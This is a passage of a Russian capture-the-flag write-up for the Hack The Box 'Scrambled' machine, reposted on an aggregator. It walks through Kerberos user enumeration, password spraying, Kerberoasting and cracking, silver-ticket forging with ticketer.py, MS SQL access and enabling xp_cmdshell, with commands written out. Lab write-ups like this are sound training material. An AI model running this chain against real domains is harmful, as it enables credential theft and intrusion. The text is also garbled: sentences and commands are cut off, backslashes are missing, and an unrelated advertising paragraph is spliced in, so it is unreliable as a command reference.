Категория > Новости > HTB Scrambled. Применяем ASREPRoast и Kerberoasting для атаки на SMB и MS SQL - «Новости»
HTB Scrambled. Применяем ASREPRoast и Kerberoasting для атаки на SMB и MS SQL - «Новости»1-04-2023, 14:35. Автор: Fraser |
Hack The Box.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовДобавляем IP-адрес машины в 10.10.11.168 scrambled.htb И запускаем сканирование портов. Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Читайте также - Для того, чтобы поднять настроение и зарядиться положительной энергией на целый день рекомендуется смотреть красивые картинки, поделки, про интерьер и дачный дизайн в фотографиях, про животных, насекомых, рыб, разнообразие флоры, фауны и многое другое - Красный лист посмотреть. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скрипта Нашлось много открытых портов, что типично для Windows:
Все перечисленные службы Microsoft пока что ничего нам дать не могут, поэтому первым делом смотрим сайт. Страница IT Services Сразу отмечаем полезную информацию: аутентификация NTLM отключена. Точка входаOSINTНа одной из страниц находим скриншот консоли, а в нем видно пользователя ksimpson. Это очень важная информация! Страница Reports На другой странице отмечаем инструкцию к ПО, работающему на порте 4411. Здесь обратим внимание на имя сервера и домен — 10.10.11.168 scrambled.htb dc1.scrm.local scrm.local А также находим информацию о том, что имя пользователя может выступить в качестве пароля. Информация о сбросе пароля KerberosМы можем отправить запрос ASREP, существует ли тот или иной аккаунт. Есть возможность запросить ключ (AS key) Kerberos этого пользователя, ключ будет зашифрован с помощью его пароля. Но дело в том, что сервер различает ответы «данный флаг не установлен» и «учетная запись не существует». А значит, если пройдемся по именам пользователей и для какого‑то нам ответят, что флаг не установлен, мы узнаем, что эта учетка существует. Сделать такой перебор можно с помощью инструмента GetNPUsers из пакета impacket. Имя пользователя у нас уже есть. GetNPUsers.py scrm.local/ksimpson -no-pass Нам ответили, что флаг не установлен, а значит, учетная запись существует. Теперь с помощью kerbrute проверим пароль пользователя. kerbrute_linux_amd64 passwordspray -dscrm.local --dcdc1.scrm.local users.txt ksimpson Учетные данные оказались верны, поэтому мы можем запросить тикет пользователя и применить его как аутентификатор, вместо пароля. В этом нам поможет скрипт getTGT из того же impacket. impacket-getTGT scrm.local/ksimpson:ksimpson Экспортируем полученный тикет и подключаемся к службе SMB. Чтобы удалось аутентифицироваться, время на твоем хосте и на сервере должно отличаться не больше чем на пять минут. Поэтому стоит обновить локальное время по протоколу NTP. sudo ntpdate scrm.local export KRB5CCNAME=ksimpson.ccache impacket-smbclient -kscrm.local/ksimpson@dc1.scrm.local -no-pass Командой Точка опорыПройдясь по каталогам, успешно заходим в use Pablic Там находим всего один документ. Скачиваем его командой Содержимое загруженного документа KerberoastingРаз мы имеем дело с MS SQL, значит, можем выполнить атаку Kerberoasting. Ее цель — собрать билеты TGS для служб, которые запускаются от имени пользователей, а не от системных учеток. Тикеты TGS зашифрованы ключами, полученными из паролей пользователей, а значит, их данные можно взломать простым перебором. Уязвимые учетные записи определим по полю SPN, которое не будет пустым. Выполним запрос TGS с помощью скрипта GetUserSPNs из все того же impacket. GetUserSPNs.py scrm.local/ksimpson -dc-ipdc1.scrm.local -dc-hostdc1.scrm.local -request -k -no-pass Теперь сохраним тикет в файл и отдадим JTR для перебора. Пароль учетной записи получим очень быстро. john sqlsvc.hash --wordlist=rockyou.txt Silver TicketМы получили пароль службы, и, чтобы с ней работать, следующим шагом должно быть получение «серебряного билета». Silver ticket — это реальный билет TGS для определенной службы, в котором используется NTLM пользователя. Он даст нам доступ к этой службе. Чтобы сгенерировать такой билет, нам нужно знать NTLM-хеш пароля и SID домена. SID домена получим из отладочной информации при выполнении impacket-secretsdump -kscrm.local/ksimpson@dc1.scrm.local -no-pass -debug А хеш генерируем на сайте md5decrypt.net из полученного пароля. NTLM-хеш пароля А теперь генерируем билет. ticketer.py -domainscrm.local -spnMSSQLSVC/dc1.scrm.local -user-id500 Administrator -nthashb999a16500b87d17ec7f2e2a68778f05 -domain-sidS-1-5-21-2743207045-1827831105-2542523200 Экспортируем созданный билет в рабочее окружение и подключаемся к службе MS SQL, используя аутентификацию Kerberos. export KRB5CCNAME=Administrator.ccache mssqlclient.py dc1.scrm.local -k -no-pass SELECT name FROM master.dbo.sysdatabases ПродвижениеПользователь SqlSvcПерейдем к базе данных use ScrambleHR SELECT name FROM SYSOBJECTS WHERE xtype = 'U' Нас интересует таблица пользователей select * from UserImport С найденными учетными данными подключиться никуда не удастся, поэтому попробуем получить управление через MS SQL. Первым делом нужно активировать enable_xp_cmdshell reconfigure Теперь мы можем выполнять команды через Получение командной оболочки Перейти обратно к новости |